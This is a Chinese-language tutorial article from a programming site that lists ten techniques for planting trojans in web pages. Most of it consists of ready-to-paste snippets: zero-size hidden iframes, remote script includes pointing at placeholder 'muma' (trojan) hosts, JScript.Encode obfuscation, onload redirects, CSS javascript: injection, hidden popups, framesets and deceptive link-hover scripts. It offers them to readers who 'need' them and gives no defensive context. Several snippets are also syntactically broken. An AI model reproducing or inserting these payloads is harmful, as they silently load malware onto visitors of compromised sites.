网页挂马方式整理及详细介绍

网络编程 2021-07-04 20:01www.168986.cn编程入门
这篇文章主要介绍了网页挂马方式整理及详细介绍的相关资料,这里整理了不少方式,大家可以看下如何实现的,需要的朋友可以参考下

网页挂马方式

一:框架挂马

    <iframe src=地址 width=0 height=0></iframe>

 二:js文件挂马

  首先将以下代码

  document.write("<iframe width='0' height='0' src='地址'></iframe>");

  保存为xxx.js,

  则JS挂马代码为

  <script language=javascript src=xxx.js></script>

 三:js变形加密

  <SCRIPT language="JScript.Encode" src=http://.xxx./muma.txt></script>

  muma.txt可改成任意后缀

四:body挂马

  <body onload="window.location='地址';"></body>

 五:隐蔽挂马

  .document.body.innerHTML = .document.body.innerHTML + '\r\n<iframe src=";

六:css中挂马

  body {
  background-image: url('javascript:document.write("<script src=http://.XXX./muma.js></script>")')}

七:js挂马

<SCRIPT language=javascript> 
  window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1"); 
  </script>

八:图片伪装

 <html>
  <iframe src="网马地址" height=0 width=0></iframe>
  <img src="图片地址"></center>
  </html>

九:伪装调用:

<frameset rows="444,0" cols="*">
  <frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
  <frame src="网马地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
  </frameset>

十:高级欺骗

 <a href="http://.163.(迷惑连接地址,显示这个地址指向木马地址)" onMouseOver="_163_(); return true;"> 页面要显示的内容 </a>
  <SCRIPT Language="JavaScript">
  function _163_ ()
  {
  var url="网马地址";
  open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,=10");
}
</SCRIPT>

感谢阅读,希望能帮助到大家,谢谢大家对本站的支持!

Copyright © 2016-2025 www.168986.cn 狼蚁网络 版权所有 Power by